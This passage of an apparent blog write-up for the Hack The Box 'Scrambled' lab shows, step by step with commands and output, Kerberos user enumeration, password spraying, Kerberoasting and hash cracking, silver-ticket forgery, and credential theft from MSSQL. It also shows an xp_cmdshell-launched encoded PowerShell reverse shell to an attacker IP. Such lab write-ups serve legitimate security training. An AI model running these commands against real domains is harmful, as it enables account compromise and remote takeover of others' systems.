<p>Let’s get the latest version of Kerbrute:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
<span class="nt">--2022-07-08</span> 17:51:19-- https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
Resolving github.com <span class="o">(</span>github.com<span class="o">)</span>... 140.82.121.3
Connecting to github.com <span class="o">(</span>github.com<span class="o">)</span>|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
<SNIP>
Connecting to objects.githubusercontent.com <span class="o">(</span>objects.githubusercontent.com<span class="o">)</span>|185.199.111.133|:443 connected.
HTTP request sent, awaiting response... 200 OK
Length: 8286607 <span class="o">(</span>7.9M<span class="o">)</span> <span class="o">[</span>application/octet-stream]
Saving to: ‘kerbrute_linux_amd64’
kerbrute_linux_amd64 100%[<span class="o">=============================>]</span> 7.90M 5.58MB/s <span class="k">in </span>1.4s
2022-07-08 17:51:21 <span class="o">(</span>5.58 MB/s<span class="o">)</span> - ‘kerbrute_linux_amd64’ saved <span class="o">[</span>8286607/8286607]
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# <span class="nb">chmod</span> +x kerbrute_linux_amd64
</code></pre></div></div>
<p>We also need a list of usernames to try, <a href="https://github.com/attackdebris/kerberos_enum_userlists">this</a> is a good repo with lots of options:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# git clone https://github.com/attackdebris/kerberos_enum_userlists.git
Cloning into <span class="s1">'kerberos_enum_userlists'</span>...
remote: Enumerating objects: 57, <span class="k">done</span><span class="nb">.</span>
remote: Total 57 <span class="o">(</span>delta 0<span class="o">)</span>, reused 0 <span class="o">(</span>delta 0<span class="o">)</span>, pack-reused 57
Receiving objects: 100% <span class="o">(</span>57/57<span class="o">)</span>, 266.28 KiB | 1.55 MiB/s, <span class="k">done</span><span class="nb">.</span>
Resolving deltas: 100% <span class="o">(</span>37/37<span class="o">)</span>, <span class="k">done</span><span class="nb">.</span>
</code></pre></div></div>
<p>There’s lots of good guides out there on Windows user enumeration, <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#user-enumeration">this</a> from HackTricks shows us Kerbrute among others. Also <a href="https://www.tarlogic.com/blog/how-to-attack-kerberos/">this</a> is a really good article with lots of examples.</p>
<p>First we need to add the DC to our hosts file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# <span class="nb">echo</span> <span class="s2">"10.10.11.168 scrm.local dc1.scrm.local"</span> <span class="o">>></span> /etc/hosts
</code></pre></div></div>
<h2 id="user-enumeration">User Enumeration</h2>
<p>Now let’s do it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# ./kerbrute_linux_amd64 userenum <span class="nt">-d</span> scrm.local <span class="nt">--dc</span> scrm.local kerberos_enum_userlists/A-ZSurnames.txt <span class="nt">-t</span> 100 <span class="nt">-o</span> kerb-user.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ <span class="se">\/</span> ___/ __ <span class="se">\/</span> ___/ / / / __/ _ <span class="se">\</span>
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|<span class="se">\_</span>__/_/ /_.___/_/ <span class="se">\_</span>_,_/<span class="se">\_</span>_/<span class="se">\_</span>__/
Version: v1.0.3 <span class="o">(</span>9dad6e1<span class="o">)</span> - 07/08/22 - Ronnie Flathers @ropnop
2022/07/08 17:47:26 <span class="o">></span> Using KDC<span class="o">(</span>s<span class="o">)</span>:
2022/07/08 17:47:26 <span class="o">></span> scrm.local:88
2022/07/08 17:47:26 <span class="o">></span> <span class="o">[</span>+] VALID USERNAME: ASMITH@scrm.local
2022/07/08 17:47:27 <span class="o">></span> <span class="o">[</span>+] VALID USERNAME: JHALL@scrm.local
2022/07/08 17:47:27 <span class="o">></span> <span class="o">[</span>+] VALID USERNAME: KSIMPSON@scrm.local
2022/07/08 17:47:27 <span class="o">></span> <span class="o">[</span>+] VALID USERNAME: KHICKS@scrm.local
2022/07/08 17:47:29 <span class="o">></span> <span class="o">[</span>+] VALID USERNAME: SJENKINS@scrm.local
2022/07/08 17:47:34 <span class="o">></span> Done! Tested 13000 usernames <span class="o">(</span>5 valid<span class="o">)</span> <span class="k">in </span>7.847 seconds
</code></pre></div></div>
<p>We’ve got a few hits. Let’s make a useable list:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# <span class="nb">cat </span>kerb-user.txt | <span class="nb">tail</span> <span class="nt">-n</span> +3 | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">' '</span> <span class="nt">-f</span> 8 | <span class="nb">head</span> <span class="nt">-n</span> <span class="nt">-1</span> <span class="o">></span> users.txt
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# <span class="nb">cat </span>users.txt
ASMITH@scrm.local
JHALL@scrm.local
KSIMPSON@scrm.local
KHICKS@scrm.local
SJENKINS@scrm.local
</code></pre></div></div>
<h2 id="password-spray">Password Spray</h2>
<p>Now we can use a password spray against them, knowing that the password is the same as the username I get this when I try ksimpson:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# ./kerbrute_linux_amd64 passwordspray <span class="nt">-d</span> scrm.local <span class="nt">--dc</span> scrm.local user.txt ksimpson
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ <span class="se">\/</span> ___/ __ <span class="se">\/</span> ___/ / / / __/ _ <span class="se">\</span>
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|<span class="se">\_</span>__/_/ /_.___/_/ <span class="se">\_</span>_,_/<span class="se">\_</span>_/<span class="se">\_</span>__/
Version: v1.0.3 <span class="o">(</span>9dad6e1<span class="o">)</span> - 07/08/22 - Ronnie Flathers @ropnop
2022/07/08 17:53:11 <span class="o">></span> Using KDC<span class="o">(</span>s<span class="o">)</span>:
2022/07/08 17:53:11 <span class="o">></span> scrm.local:88
2022/07/08 17:53:11 <span class="o">></span> <span class="o">[</span>+] VALID LOGIN: KSIMPSON@scrm.local:ksimpson
2022/07/08 17:53:11 <span class="o">></span> Done! Tested 1 logins <span class="o">(</span>1 successes<span class="o">)</span> <span class="k">in </span>0.116 seconds
</code></pre></div></div>
<h2 id="get-ticket-granting-ticket">Get Ticket Granting Ticket</h2>
<p>With a valid username and password we can request a ticket:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# impacket-getTGT scrm.local/ksimpson:ksimpson
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>ksimpson.ccache
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# <span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>ksimpson.ccache
</code></pre></div></div>
<h2 id="smb-enumeration">SMB Enumeration</h2>
<p>We can use this to look for file shares on SMB:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# impacket-smbclient <span class="nt">-k</span> <span class="nt">-no-pass</span> scrm.local/ksimpson@dc1.scrm.local
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
<span class="c"># shares</span>
ADMIN<span class="err">$</span>
C<span class="err">$</span>
HR
IPC<span class="err">$</span>
IT
NETLOGON
Public
Sales
SYSVOL
<span class="c"># use Public</span>
<span class="c"># ls</span>
drw-rw-rw- 0 Thu Nov 4 22:23:19 2021 <span class="nb">.</span>
drw-rw-rw- 0 Thu Nov 4 22:23:19 2021 ..
<span class="nt">-rw-rw-rw-</span> 630106 Fri Nov 5 17:45:07 2021 Network Security Changes.pdf
<span class="c"># get Network Security Changes.pdf</span>
<span class="c"># exit</span>
</code></pre></div></div>
<p>Above we found a number of file shares but only the Public one was accessible. Let’s look at the file we grabbed:</p>
<p><img src="/assets/images/2022-07-10-22-43-29.png" alt="scrambled-securitymeasures" /></p>
<h2 id="get-user-spn">Get User SPN</h2>
<p>A few more clues. The key one here is that only administrators have access to SQL. Let’s get the service principal names (SPNs):</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# impacket-GetUserSPNs scrm.local/ksimpson <span class="nt">-request</span> <span class="nt">-k</span> <span class="nt">-no-pass</span>
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
<span class="o">[</span>-] exceptions must derive from BaseException
</code></pre></div></div>
<p>This had me stuck for a while, but some searching found <a href="https://github.com/SecureAuthCorp/impacket/issues/1206">this</a> issue raised by the box author! He kindly gives us a workaround. So grab the GetUserSPNs.py file from the Impacket repo:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# wget https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/GetUserSPNs.py
<span class="nt">--2022-07-08</span> 18:18:54-- https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/GetUserSPNs.py
Resolving raw.githubusercontent.com <span class="o">(</span>raw.githubusercontent.com<span class="o">)</span>... 185.199.108.133, 185.199.111.133,
Connecting to raw.githubusercontent.com <span class="o">(</span>raw.githubusercontent.com<span class="o">)</span>|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24390 <span class="o">(</span>24K<span class="o">)</span> <span class="o">[</span>text/plain]
Saving to: ‘GetUserSPNs.py’
GetUserSPNs.py 100%[<span class="o">===================================>]</span> 23.82K <span class="nt">--</span>.-KB/s <span class="k">in </span>0.008s
2022-07-08 18:18:54 <span class="o">(</span>2.96 MB/s<span class="o">)</span> - ‘GetUserSPNs.py’ saved <span class="o">[</span>24390/24390]
</code></pre></div></div>
<p>Edit the line as described:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">__usersFile</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">request_users_file_TGSs</span><span class="p">()</span>
<span class="k">return</span>
<span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">__doKerberos</span><span class="p">:</span>
<span class="n">target</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__kdcHost</span>
<span class="c1">#target = self.getMachineName() <-- old line 260 code that we're no longer running
</span> <span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">__kdcHost</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span> <span class="ow">and</span> <span class="bp">self</span><span class="p">.</span><span class="n">__targetDomain</span> <span class="o">==</span> <span class="bp">self</span><span class="p">.</span><span class="n">__domain</span><span class="p">:</span>
<span class="n">target</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__kdcHost</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">target</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__targetDomain</span>
</code></pre></div></div>
<p>Now run that version of the script:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# python3 GetUserSPNs.py <span class="nt">-dc-ip</span> dc1.scrm.local scrm.local/ksimpson <span class="nt">-request</span> <span class="nt">-k</span> <span class="nt">-no-pass</span>
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
<span class="nt">----------------------------</span> <span class="nt">------</span> <span class="nt">--------</span> <span class="nt">--------------------------</span> <span class="nt">--------------------------</span> <span class="nt">----------</span>
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 16:32:02.351452 2022-07-10 20:11:44.221570
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 16:32:02.351452 2022-07-10 20:11:44.221570
<span class="o">[</span>-] <span class="nb">type </span>object <span class="s1">'CCache'</span> has no attribute <span class="s1">'parseFile'</span>
</code></pre></div></div>
<p>This error took more searching, eventually finding <a href="https://github.com/SecureAuthCorp/impacket/issues/1328">this</a> issue which tells us the version of Impacket that is installed on Kali is out of date. So we need to update that first:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled/impacket]
└─# python3 <span class="nt">-m</span> pip <span class="nb">install</span> <span class="nb">.</span>
Processing /root/htb/scrambled/impacket
Preparing metadata <span class="o">(</span>setup.py<span class="o">)</span> ... <span class="k">done
</span>Requirement already satisfied: chardet <span class="k">in</span> /usr/lib/python3/dist-packages <span class="o">(</span>from <span class="nv">impacket</span><span class="o">==</span>0.10.1.dev1+20220708.213759.8b1a99f7<span class="o">)</span> <span class="o">(</span>4.0.0<span class="o">)</span>
Collecting dsinternals
Downloading dsinternals-1.2.4.tar.gz <span class="o">(</span>174 kB<span class="o">)</span>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 174.2/174.2 kB 1.9 MB/s eta 0:00:00
Preparing metadata <span class="o">(</span>setup.py<span class="o">)</span> ... <span class="k">done</span>
<SNIP>
Successfully built impacket dsinternals
Installing collected packages: dsinternals, impacket
Attempting uninstall: impacket
Found existing installation: impacket 0.9.24
Uninstalling impacket-0.9.24:
Successfully uninstalled impacket-0.9.24
</code></pre></div></div>
<p>Finally we can run again to get our hash:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# python3 GetUserSPNs.py <span class="nt">-dc-ip</span> dc1.scrm.local scrm.local/ksimpson <span class="nt">-request</span> <span class="nt">-k</span> <span class="nt">-no-pass</span>
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
<span class="nt">----------------------------</span> <span class="nt">------</span> <span class="nt">--------</span> <span class="nt">--------------------------</span> <span class="nt">--------------------------</span> <span class="nt">----------</span>
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 16:32:02.351452 2022-07-10 20:11:44.221570
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 16:32:02.351452 2022-07-10 20:11:44.221570
<span class="nv">$krb5tgs$23$*</span>sqlsvc<span class="nv">$SCRM</span>.LOCAL<span class="nv">$scrm</span>.local/sqlsvc<span class="k">*</span><span class="nv">$bb8f4319a7e559125e94d7518b9a1eb6$b917eb19722e7da2837ef7f1ab984f</span>
05700ee81bd1e6855e2fdf62539f49f26aa1544496a3967c95304e65974cebd8170e1cf5ab15acd7a5dbb18f956286240ab0c0e8674b30e30
<SNIP>
</code></pre></div></div>
<h2 id="john-the-ripper">John The Ripper</h2>
<p>Put that hash in a text file and use JohnTheRipper to crack it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# john sqlsvc.hash <span class="nt">-w</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password <span class="nb">hash</span> <span class="o">(</span>krb5tgs, Kerberos 5 TGS etype 23 <span class="o">[</span>MD4 HMAC-MD5 RC4]<span class="o">)</span>
Will run 4 OpenMP threads
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
Pegasus60 <span class="o">(</span>?<span class="o">)</span>
1g 0:00:00:45 DONE <span class="o">(</span>2022-07-10 21:35<span class="o">)</span> 0.02175g/s 233401p/s 233401c/s 233401C/s Penrose..Pearce
Use the <span class="s2">"--show"</span> option to display all of the cracked passwords reliably
Session completed.
</code></pre></div></div>
<h2 id="secrets-dump">Secrets Dump</h2>
<p>Now we have an account called sqlsvc with a password of Pegasus60. Next we need to get the SID of the administrator account, we can use secretsdump:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# impacket-secretsdump <span class="nt">-k</span> scrm.local/ksimpson@dc1.scrm.local <span class="nt">-no-pass</span>
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
<span class="o">[</span>-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try <span class="nt">-just-dc-user</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping Domain Credentials <span class="o">(</span>domain<span class="se">\u</span><span class="nb">id</span>:rid:lmhash:nthash<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Using the DRSUAPI method to get NTDS.DIT secrets
<span class="o">[</span>-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified <span class="k">for </span>this replication operation is invalid.
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Something went wrong with the DRSUAPI approach. Try again with <span class="nt">-use-vss</span> parameter
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Cleaning up...
</code></pre></div></div>
<p>This didn’t work like normal, probably for a similar reason as the other script. A search for <a href="https://github.com/SecureAuthCorp/impacket/issues/991">this</a> issue which says to add debug:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# impacket-secretsdump <span class="nt">-k</span> scrm.local/ksimpson@dc1.scrm.local <span class="nt">-no-pass</span> <span class="nt">-debug</span>
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
<span class="o">[</span>+] Impacket Library Installation Path: /usr/local/lib/python3.10/dist-packages/impacket
<span class="o">[</span>+] Using Kerberos Cache: ksimpson.ccache
<span class="o">[</span>+] SPN CIFS/DC1.SCRM.LOCAL@SCRM.LOCAL not found <span class="k">in </span>cache
<span class="o">[</span>+] AnySPN is True, looking <span class="k">for </span>another suitable SPN
<span class="o">[</span>+] Returning cached credential <span class="k">for </span>KRBTGT/SCRM.LOCAL@SCRM.LOCAL
<span class="o">[</span>+] Using TGT from cache
<span class="o">[</span>+] Trying to connect to KDC at SCRM.LOCAL
<span class="o">[</span>-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try <span class="nt">-just-dc-user</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping Domain Credentials <span class="o">(</span>domain<span class="se">\u</span><span class="nb">id</span>:rid:lmhash:nthash<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Using the DRSUAPI method to get NTDS.DIT secrets
<span class="o">[</span>+] Session resume file will be sessionresume_jLiLWMcH
<span class="o">[</span>+] Trying to connect to KDC at SCRM.LOCAL
<span class="o">[</span>+] Calling DRSCrackNames <span class="k">for </span>S-1-5-21-2743207045-1827831105-2542523200-500
<span class="o">[</span>+] Calling DRSGetNCChanges <span class="k">for</span> <span class="o">{</span>edaf791f-e75b-4711-8232-3cd66840032a<span class="o">}</span>
<SNIP>
impacket.dcerpc.v5.drsuapi.DCERPCSessionError: DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified <span class="k">for </span>this replication operation is invalid.
<span class="o">[</span>-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified <span class="k">for </span>this replication operation is invalid.
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Something went wrong with the DRSUAPI approach. Try again with <span class="nt">-use-vss</span> parameter
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Cleaning up...
</code></pre></div></div>
<p>We see the SID of <strong>S-1-5-21-2743207045-1827831105-2542523200-500</strong> has been retrieved even though there is still the error. It ends in 500 so we know this is the administrator SID.</p>
<h2 id="sql-admin-hash">SQL Admin Hash</h2>
<p>Next we need an NTLM hash of the sqlsrv account password we found earlier:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# iconv <span class="nt">-f</span> ASCII <span class="nt">-t</span> UTF-16LE <<span class="o">(</span><span class="nb">printf</span> <span class="s2">"Pegasus60"</span><span class="o">)</span> | openssl dgst <span class="nt">-md4</span>
<span class="o">(</span>stdin<span class="o">)=</span> b999a16500b87d17ec7f2e2a68778f05
</code></pre></div></div>
<h2 id="silver-ticket">Silver Ticket</h2>
<p>We have enough information to create a silver ticket. <a href="https://en.hackndo.com/kerberos-silver-golden-tickets/">This</a> is a good article that explains what silver and golden tickets are if you’re interested in learning more.</p>
<p>Let’s use Impacket’s ticketer:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# impacket-ticketer <span class="nt">-nthash</span> b999a16500b87d17ec7f2e2a68778f05 <span class="nt">-domain-sid</span> S-1-5-21-2743207045-1827831105-2542523200 <span class="nt">-domain</span> scrm.local <span class="nt">-spn</span> MSSQLSvc/dc1.scrm.local <span class="nt">-user-id</span> 500 Administrator
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Creating basic skeleton ticket and PAC Infos
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Customizing ticket <span class="k">for </span>scrm.local/Administrator
<span class="o">[</span><span class="k">*</span><span class="o">]</span> PAC_LOGON_INFO
<span class="o">[</span><span class="k">*</span><span class="o">]</span> PAC_CLIENT_INFO_TYPE
<span class="o">[</span><span class="k">*</span><span class="o">]</span> EncTicketPart
<span class="o">[</span><span class="k">*</span><span class="o">]</span> EncTGSRepPart
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Signing/Encrypting final ticket
<span class="o">[</span><span class="k">*</span><span class="o">]</span> PAC_SERVER_CHECKSUM
<span class="o">[</span><span class="k">*</span><span class="o">]</span> PAC_PRIVSVR_CHECKSUM
<span class="o">[</span><span class="k">*</span><span class="o">]</span> EncTicketPart
<span class="o">[</span><span class="k">*</span><span class="o">]</span> EncTGSRepPart
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>Administrator.ccache
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# <span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>Administrator.ccache
</code></pre></div></div>
<h2 id="ms-sql-client">MS SQL Client</h2>
<p>Here we’ve created a silver ticket which we can use to impersonate the administrator account. Now we can use the Impacket MSSQLClient script to connect to MSSQL using our Kerberos ticket:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# mssqlclient.py dc1.scrm.local <span class="nt">-k</span>
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Encryption required, switching to TLS
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ENVCHANGE<span class="o">(</span>DATABASE<span class="o">)</span>: Old Value: master, New Value: master
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ENVCHANGE<span class="o">(</span>LANGUAGE<span class="o">)</span>: Old Value: , New Value: us_english
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ENVCHANGE<span class="o">(</span>PACKETSIZE<span class="o">)</span>: Old Value: 4096, New Value: 16192
<span class="o">[</span><span class="k">*</span><span class="o">]</span> INFO<span class="o">(</span>DC1<span class="o">)</span>: Line 1: Changed database context to <span class="s1">'master'</span><span class="nb">.</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> INFO<span class="o">(</span>DC1<span class="o">)</span>: Line 1: Changed language setting to us_english.
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ACK: Result: 1 - Microsoft SQL Server <span class="o">(</span>150 7208<span class="o">)</span>
<span class="o">[!]</span> Press <span class="nb">help </span><span class="k">for </span>extra shell commands
SQL>
</code></pre></div></div>
<p>Let’s look through the databases and tables for loot:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SQL> SELECT name, database_id, create_date from SYS.DATABASES
name database_id create_date
<span class="nt">----------------</span> <span class="nt">-----------</span> <span class="nt">-----------</span>
master 1 2003-04-08 09:13:36
tempdb 2 2022-07-11 00:03:29
model 3 2003-04-08 09:13:36
msdb 4 2019-09-24 14:21:42
ScrambleHR 5 2021-11-03 17:46:55
SQL> <span class="k">select </span>table_name from ScrambleHR.INFORMATION_SCHEMA.TABLES
table_name
<span class="nt">----------</span>
Employees
UserImport
Timesheets
SQL> <span class="k">select </span>ldapuser,ldappwd from userimport
ldapuser ldappwd
<span class="nt">---------------</span> <span class="nt">---------------------</span>
MiscSvc ScrambledEggs9900
</code></pre></div></div>
<p>We have another account and password.</p>
<h2 id="xp-cmd-shell">XP CMD Shell</h2>
<p>Next we can test if <a href="https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver16">xp_cmdshell</a> is enabled:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SQL> xp_cmdshell net user
User accounts <span class="k">for</span> <span class="se">\\</span>DC1
<span class="nt">------------------------------------------------------------</span>
administrator asmith backupsvc
ehooker Guest jhall
khicks krbtgt ksimpson
miscsvc rsmith sdonington
sjenkins sqlsvc tstar
</code></pre></div></div>
<h2 id="powershell-reverse-shell">PowerShell Reverse Shell</h2>
<p>Of course we knew it would be! Time for a reverse shell, I used <a href="https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/40ade3fb5e3665b82310c08d36597123c2e75ab4/mkpsrevshell.py">this</a> script to generate a base64 encoded one to avoid any problems:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# wget https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/40ade3fb5e3665b82310c08d36597123c2e75ab4/mkpsrevshell.py
<span class="nt">--2022-07-11</span> 22:01:39-- https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/40ade3fb5e3665b82310c08d36597123c2e75ab4/mkpsrevshell.py
Resolving gist.githubusercontent.com <span class="o">(</span>gist.githubusercontent.com<span class="o">)</span>... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to gist.githubusercontent.com <span class="o">(</span>gist.githubusercontent.com<span class="o">)</span>|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1107 <span class="o">(</span>1.1K<span class="o">)</span> <span class="o">[</span>text/plain]
Saving to: ‘mkpsrevshell.py’
mkpsrevshell.py 100%[<span class="o">============================================>]</span> 1.08K <span class="nt">--</span>.-KB/s <span class="k">in </span>0s
2022-07-11 22:01:40 <span class="o">(</span>129 MB/s<span class="o">)</span> - ‘mkpsrevshell.py’ saved <span class="o">[</span>1107/1107]
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# python3 mkpsrevshell.py 10.10.14.198 1337
powershell <span class="nt">-e</span> JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8<SNIP>
</code></pre></div></div>
<p>Start netcat listening then switch to the mssql session and paste this in with xp_cmdshell:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SQL> xp_cmdshell powershell <span class="nt">-e</span> JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHM<SNIP>
</code></pre></div></div>
<h2 id="shell-as-sqlsvc">Shell As SQLSVC</h2>
<p>Switch back to Kali to see we’re connected:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# nc <span class="nt">-nlvp</span> 1337
listening on <span class="o">[</span>any] 1337 ...
connect to <span class="o">[</span>10.10.14.198] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.168] 56490
<span class="nb">whoami
</span>scrm<span class="se">\s</span>qlsvc
PS C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32>
</code></pre></div></div>
<p>We are only a low level service account, but we have credentials for another user from the MSSQL database. Let’s start another shell and switch to that user.</p>
<p>First start another netcat listening in a different terminal:</p>
